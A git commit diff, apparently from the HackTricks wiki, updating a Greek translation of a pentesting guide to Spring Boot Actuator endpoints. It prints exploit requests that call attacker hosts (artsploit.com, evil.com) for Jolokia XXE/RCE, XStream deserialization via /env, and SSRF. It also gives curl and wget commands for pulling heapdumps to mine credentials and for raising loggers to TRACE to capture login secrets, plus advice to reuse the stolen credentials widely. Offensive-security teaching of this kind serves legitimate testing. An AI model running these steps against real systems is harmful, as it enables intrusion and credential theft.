Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a

This commit is contained in:
Translator 2025-09-03 16:55:23 +00:00
parent b77007495e
commit 7f89257732
2 changed files with 392 additions and 312 deletions

File diff suppressed because it is too large Load Diff

View File

@ -6,30 +6,31 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**Από** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Εκμετάλλευση Spring Boot Actuators
**Ελέγξτε την αρχική ανάρτηση από** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**Δείτε το πρωτότυπο άρθρο στο** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Βασικά Σημεία:**
### **Κύρια Σημεία:**
- Οι Spring Boot Actuators καταχωρούν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς αυθεντικοποίηση. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την ασφάλεια.
- Ορισμένα endpoints Actuator μπορεί να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
- Spring Boot Actuators καταγράφουν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς έλεγχο ταυτότητας. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την προστασία.
- Ορισμένα endpoints των Actuator μπορούν να αποκαλύψουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, και `/heapdump`.
- Στο Spring Boot 1.x, οι actuators καταχωρούνται κάτω από τη ρίζα URL, ενώ στο 2.x, είναι κάτω από τη βασική διαδρομή `/actuator/`.
- Σε Spring Boot 1.x, οι actuators καταχωρούνται κάτω από το root URL, ενώ σε 2.x βρίσκονται κάτω από τη βάση `/actuator/`.
### **Τεχνικές Εκμετάλλευσης:**
1. **Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia'**:
- Το endpoint `/jolokia` εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans.
- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατασκευασμένων XML ρυθμίσεων.
- Παράδειγμα URL εκμετάλλευσης: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Τροποποίηση Ρυθμίσεων μέσω '/env'**:
1. **Remote Code Execution via '/jolokia'**:
- Το endpoint `/jolokia` των Actuator εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει πρόσβαση σε MBeans μέσω HTTP.
- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί ώστε να φορτώσει ξανά ρυθμίσεις logging από εξωτερικό URL, κάτι που μπορεί να οδηγήσει σε blind XXE ή Remote Code Execution μέσω κακόβουλα κατασκευασμένων XML ρυθμίσεων.
- Παράδειγμα exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
- Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων.
- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL.
- Παράδειγμα POST αίτησης εκμετάλλευσης:
2. **Config Modification via '/env'**:
- Εάν υπάρχουν οι Spring Cloud Libraries, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων.
- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσειριοποίησης XStream στο Eureka serviceURL.
- Παράδειγμα exploit POST αιτήματος:
```
POST /env HTTP/1.1
@ -41,24 +42,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Άλλες Χρήσιμες Ρυθμίσεις**:
- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να χειραγωγηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή τροποποίηση συμβολοσειρών σύνδεσης βάσης δεδομένων.
- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να τροποποιηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή αλλαγή των connection strings της βάσης δεδομένων.
### **Επιπλέον Πληροφορίες:**
- Μια ολοκληρωμένη λίστα με τους προεπιλεγμένους actuators μπορεί να βρεθεί [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια.
- Μία ολοκληρωμένη λίστα των default actuators βρίσκεται [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί JSON μορφή για την τροποποίηση ιδιοτήτων, αλλά η γενική ιδέα παραμένει ίδια.
### **Σχετικά Θέματα:**
1. **Env + H2 RCE**:
- Λεπτομέρειες σχετικά με την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης δεδομένων H2 μπορούν να βρεθούν [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
- Λεπτομέρειες για την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης H2 βρίσκονται [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF στο Spring Boot μέσω Λάθους Ερμηνείας Διαδρομής**:
- Η διαχείριση παραμέτρων μήτρας (`;`) από το πλαίσιο Spring σε διαδρομές HTTP μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
- Παράδειγμα αίτησης εκμετάλλευσης:
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Ο τρόπος με τον οποίο το Spring framework χειρίζεται matrix parameters (`;`) σε HTTP pathnames μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
- Παράδειγμα αιτήματος εκμετάλλευσης:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)
Αν το `/actuator/heapdump` είναι εκτεθειμένο, συνήθως μπορείτε να κατεβάσετε ένα πλήρες JVM heap snapshot που συχνά περιέχει live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, κ.λπ.).
- Download and quick triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```
- Deeper analysis with VisualVM and OQL:
- Ανοίξτε το heapdump στο VisualVM, ελέγξτε instances του `java.lang.String` ή εκτελέστε OQL για να εντοπίσετε secrets:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```
- Automated extraction with JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Τυπικά ευρήματα υψηλής αξίας:
- Spring `DataSourceProperties` / `HikariDataSource` αντικείμενα που εκθέτουν `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` entries που αποκαλύπτουν `management.endpoints.web.exposure.include`, service ports και ενσωματωμένο Basic-Auth σε URLs (π.χ. Eureka `defaultZone`).
- Τμήματα HTTP request/response σε plain text που περιλαμβάνουν `Authorization: Basic ...` και έχουν καταγραφεί στη μνήμη.
Tips:
- Χρησιμοποιήστε ένα Spring-focused wordlist για να ανακαλύψετε γρήγορα actuator endpoints (π.χ., SecLists spring-boot.txt) και ελέγξτε πάντα αν τα `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` και `/actuator/configprops` είναι επίσης εκτεθειμένα.
- Τα credentials από heapdump συχνά δουλεύουν και για γειτονικές υπηρεσίες και μερικές φορές για system users (SSH), οπότε δοκιμάστε τα ευρέως.
## Abusing Actuator loggers/logging to capture credentials
Αν το `management.endpoints.web.exposure.include` το επιτρέπει και το `/actuator/loggers` είναι εκτεθειμένο, μπορείτε δυναμικά να αυξήσετε τα επίπεδα καταγραφής σε DEBUG/TRACE για πακέτα που χειρίζονται authentication και request processing. Σε συνδυασμό με αναγνώσιμα logs (μέσω `/actuator/logfile` ή γνωστών log paths), αυτό μπορεί να αποκαλύψει credentials που υποβάλλονται κατά τη ροή login (π.χ., Basic-Auth headers ή form parameters).
- Enumerate and crank up sensitive loggers:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```
- Find where logs are written and harvest:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```
- Προκαλέστε login/authentication traffic και αναλύστε το log για creds. Σε microservice setups με gateway που μπροστάρει το auth, η ενεργοποίηση TRACE για gateway/security πακέτα συχνά κάνει εμφανή headers και σώματα φορμών. Κάποια περιβάλλοντα παράγουν ακόμη και συνθετική login κίνηση περιοδικά, κάνοντας τη συλλογή trivial μόλις η καταγραφή γίνει verbose.
Notes:
- Επαναφέρετε τα επίπεδα log όταν τελειώσετε: `POST /actuator/loggers/<logger>` με `{ "configuredLevel": null }`.
- Αν το `/actuator/httpexchanges` είναι εκτεθειμένο, μπορεί επίσης να εμφανίσει πρόσφατα request metadata που μπορεί να περιλαμβάνει ευαίσθητα headers.
## References
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
{{#include ../../banners/hacktricks-training.md}}